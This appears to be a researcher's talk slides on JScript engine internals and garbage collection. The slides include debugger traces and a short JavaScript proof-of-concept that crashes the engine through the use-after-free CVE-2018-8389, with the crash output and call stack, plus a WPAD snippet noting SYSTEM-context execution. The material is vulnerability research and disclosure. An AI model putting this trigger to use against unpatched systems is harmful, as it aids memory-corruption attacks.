$ HANDLE=sudhackar
$ whereis $HANDLE
Payatu Technologies
$ man $HANDLE
RE, Fuzzing and Exploit Dev shenanigans
$ info $HANDLE
CTFs with RE/pwn/Crypto @ ByteBandits, IITI
- Microsoft implementation of the ECMA 262 spec (ECMAScript Edition 3)
- interpreted, object-based scripting language
- fewer capabilities than full-fledged object-oriented languages like C++, but than sufficiently powerful for its intended purposes.
- default engine for IE3 - IE8
- deprecated in IE9 in favour of JScript9 (chakra)
- but still accessible in upto IE11 by IE8 compatibility mode
- not much here?
- Windows Web Proxy Auto-Discovery(WPAD)
- Essentially executes JS code in SYSTEM context
import win32inet
import random
hinternet = win32inet.WinHttpOpen("test", 0, "", "", 0)
wpad_opt = (2, 0, u"http://server/x.js?%x" % random.getrandbits(64), None, 0, 1)
proxy = win32inet.WinHttpGetProxyForUrl(hinternet, u"http://www.google.com", wpad_opt)
print proxy
* conditions apply
- No JIT
- Simple Datatypes, VARs
- Simple nongenerational mark-and-sweep garbage collector
- No Execution pipeline, monolithic interpreter loop
- No separation, threading.
- Objects allocated on JScript's heap(MSVCRT malloc+free) as a VARIANT or linked VARIANTs
- Strings from OLEAUT32 api as BSTR
- VARIANT is 0x18 bytes in x64
- First dword is VT_TYPE(integer, float, str, object)
- Second qword is ptr/value based on VT_TYPE
- malloc+free in C, maintained by user (hard)
- memory management is crucial to a program's performance
- JS is dynamic. User has no control over memory management.
CollectGarbage
in JScript whenever you feel to free some space- counts number of objects/members/VARs allocated in the execution loop
- triggered to clear/free some memory on threshold allocations
- ledger for all
var
, strings and related objects - doubly linked list (0x10)
- each block stores 100 VARIANTs (0x18*100)
struct GcBlock{
struct GcBlock * prev;
struct GcBlock * next;
VARIANT mem[100];
};
GcBlockFactory::GcBlockFactory ( 0x7feed6d2758L )
GcBlockFactory::GcBlockFactory+2a returns 0x7feed75d090L
GcContext::EnsureGc ( )
GcContext::New ( 0x4f95f70, 0x24ea50 )
GcContext::GcContext ( 0x4f96030, 0x4f95f70 )
GcContext::GcContext+a9 returns 0x4f96030
GcContext::Init ( 0x4f96030 )
GcContext::Init+118 returns 0x0
GcContext::New+75 returns 0x0
GcContext::EnsureGc+54 returns 0x0
GcAlloc::PvarAlloc ( 0x4f9c580 )
GcBlockFactory::PblkAlloc ( 0x4f9c580 )
GcBlockFactory::PblkAlloc+59 returns 0x4f9c630
GcBlock::Link ( 0x4f9c630, 0x4f9c598 )
GcBlock::Link+46 returns 0x0
GcAlloc::PvarAlloc+8c returns 0x4f9cf88
- Can be forced from JS code, calls
JsCollectGarbage
- Automatically based on number of allocations, calls
GcContext::Collect
- Mark and Sweep follows
- Traverse the GcBlock linked list
- For each GcBlock, iterate over master VARIANTS and mark it for cleaning/sweeping
GcContext::SetMark ( 0x4f96030 )
GcAlloc::SetMark ( 0x4f9c580 )
GcAlloc::SetMark+5d returns 0x1
GcContext::SetMark+74 returns 0x1
- Enumerate all reachable objects from
roots
orScavengers
- Each object type has its own root to look into the scope chain
- Clear the GC mark. 11th bit in VT_TYPE(0x800, 2048, &=0xf7ff)
ObjectRegistration::ScavengeRoots ( 0x4f9df40 )
FncObj::ScavengeCore ( 0x4f9df00, 0x4f96030 )
GcContext::ScavengeVar ( 0x4f96030, 0x4f9df30 )
GcContext::ScavengeVar+2a returns 0x4f9cf70
FncObj::ScavengeCore+77 returns 0x4f9cf70
ObjectRegistration::ScavengeRoots+6e returns 0x4f9cf70
VarStack::ScavengeRoots ( 0x4f961d0 )
VarStack::ScavengeRoots+a1 returns 0x4f9cf40
ObjectRegistration::ScavengeRoots ( 0x4f9d170 )
ScrFncObj::ScavengeCore ( 0x4f9d130, 0x4f96030 )
ScrFncObj::ScavengeCore+9e returns 0x4f9cf70
ObjectRegistration::ScavengeRoots+6e returns 0x4f9cf70
ObjectRegistration::ScavengeRoots ( 0x4f96840 )
VAR::Scavenge ( 0x4f96868, 0x4f96030 )
GcContext::ScavengeVar ( 0x4f96030, 0x4f96870 )
GcContext::ScavengeVar+2a returns 0x4f9cf40
VAR::Scavenge+27 returns 0x4f9cf40
NameTbl::ScavengeCore ( 0x4f96800, 0x4f96030 )
NameList::ScavengeRoots ( 0x4f969d0, 0x4f96030 )
NameList::ScavengeRoots+65 returns 0x4f9ce08
NameTbl::ScavengeCore+57 returns 0x4f9ce08
ObjectRegistration::ScavengeRoots+6e returns 0x4f9ce08
ScavVarList::ScavengeRoots ( 0x4f96618 )
GcContext::ScavengeVar ( 0x4f96030, 0x4f96440 )
GcContext::ScavengeVar+2a returns 0x4f9ceb0
GcContext::ScavengeVar ( 0x4f96030, 0x4f96488 )
GcContext::ScavengeVar+2a returns 0x4f9cf70
GcContext::ScavengeVar ( 0x4f96030, 0x4f964b8 )
GcContext::ScavengeVar+2a returns 0x4f9cf88
ScavVarList::ScavengeRoots+5c returns 0x18
GCRootStack::ScavengeRoots ( 0x4f96650 )
GCRootStack::ScavengeRoots+61 returns 0x4f9cf58
- VARIANTS still marked are out of scope
- Sweep/Reclaim them, eventually call free()
GcContext::Reclaim ( 0x4f96030, 0x2 )
GcAlloc::ReclaimGarbage ( 0x4f9c580 )
00000000`04f9ce20 00000000`00000808 00000000`01ab9ff8
00000000`04f9ce30 00000000`00000000
VariantClear ( 0x4f9ce20 )
00000000`04f9ce20 00000000`00000008 00000000`01ab9ff8
00000000`04f9ce30 00000000`00000000
VariantClear+6b returns 0x0
GcContext::Adapt ( 0x4f96030, 0x1, 0x11 )
GcContext::Adapt+77 returns 0x6
GcAlloc::ReclaimGarbage+24a returns 0x6
GcContext::NormalizeBuckets ( 0x4f96030 )
GcContext::NormalizeBuckets+4c returns 0x24b978
GcContext::Reclaim+128 returns 0x1
GcContext::CollectCore+1bb returns 0x1
GcContext::Collect+43 returns 0x1
JsCollectGarbage+29 returns 0x0
var arr1 = new Object();
arr1.toString = function(){ CollectGarbage(); };
var arrs = new Array(0x7fff);
var z = new ActiveXObject(arrs, [arr1]);
(8dc.5ac): Access violation - code c0000005 (first chance)
jscript!GetObjectFromProgID+0x46:
000007fe`edac0360 8b42fc mov eax,dword ptr [rdx-4] ds:00000000`01b49ff4=????????
0:000> kc
# Call Site
00 jscript!GetObjectFromProgID
01 jscript!JsCreateObject2
02 jscript!ActiveXObjectFncObj::Construct
03 jscript!NameTbl::InvokeInternal
04 jscript!VAR::InvokeByDispID
05 jscript!CScriptRuntime::Run
06 jscript!ScrFncObj::CallWithFrameOnStack
07 jscript!ScrFncObj::Call
08 jscript!CSession::Execute
09 jscript!COleScript::ExecutePendingScripts
0a jscript!COleScript::SetScriptState
0b cscript!CHost::RunStandardScript
0c cscript!CHost::Execute
0d cscript!CHost::Main
0e cscript!main
0f cscript!_mainCRTStartup
10 cscript!mainCRTStartup
11 kernel32!BaseThreadInitThunk
12 ntdll!RtlUserThreadStart
JsCreateObject2
andJsGetObject2
both callVAR::GetValue
on 2 objects.VAR::GetValue
eventually triggersJsArrayToString
which callstoString
of each element in the array
- BSTR returned from first call to
VAR::GetValue
is not properly scavenged - In second call to
VAR::GetValue
,CollectGarbage
can be triggered fromtoString
of last element of the array. - This will eventually free the BSTR but still have a reference to it on
JsCreateObject2
stack
- Used later in
GetObjectFromProgID
- Use After Free in JScript, CVE-2018-8389
- Can potentially lead to ...
- Fuzzing with our internal fuzzer
Cloudfuzz
- aPAColypse by Project Zero
- Manual analysis, some duplicate bugs
- Post Crash with IDA and Pykd
- If you like windbg and python you'll love pykd
- Pykd is great